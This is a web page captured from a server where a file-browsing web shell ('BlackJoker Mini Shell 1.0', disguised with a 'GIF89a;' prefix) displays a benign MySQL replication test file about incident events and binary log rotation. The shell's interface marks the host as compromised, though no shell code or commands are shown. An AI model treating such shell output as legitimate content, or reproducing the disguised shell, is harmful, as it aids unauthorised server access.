GIF89a; Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/self/root/usr/share/mysql-test/suite/rpl/t/
Upload File :
Current File : //proc/self/root/proc/self/root/usr/share/mysql-test/suite/rpl/t/rpl_skip_incident.test

--source include/master-slave.inc
--source include/have_debug.inc

--echo **** On Master ****
CREATE TABLE t1 (a INT);

INSERT INTO t1 VALUES (1),(2),(3);
SELECT * FROM t1;

# This will generate an incident log event and store it in the binary
# log before the replace statement.
REPLACE INTO t1 VALUES (4);

--source include/sync_slave_sql_with_master.inc

# Now, we should have inserted the row into the table and the slave
# should be running. We should also have rotated to a new binary log.

SELECT * FROM t1;
source include/check_slave_is_running.inc;

connection master;

--echo Should have two binary logs here
--source include/show_binary_logs.inc
DROP TABLE t1;
--source include/sync_slave_sql_with_master.inc
--source include/rpl_end.inc

./BlackJoker Mini Shell 1.0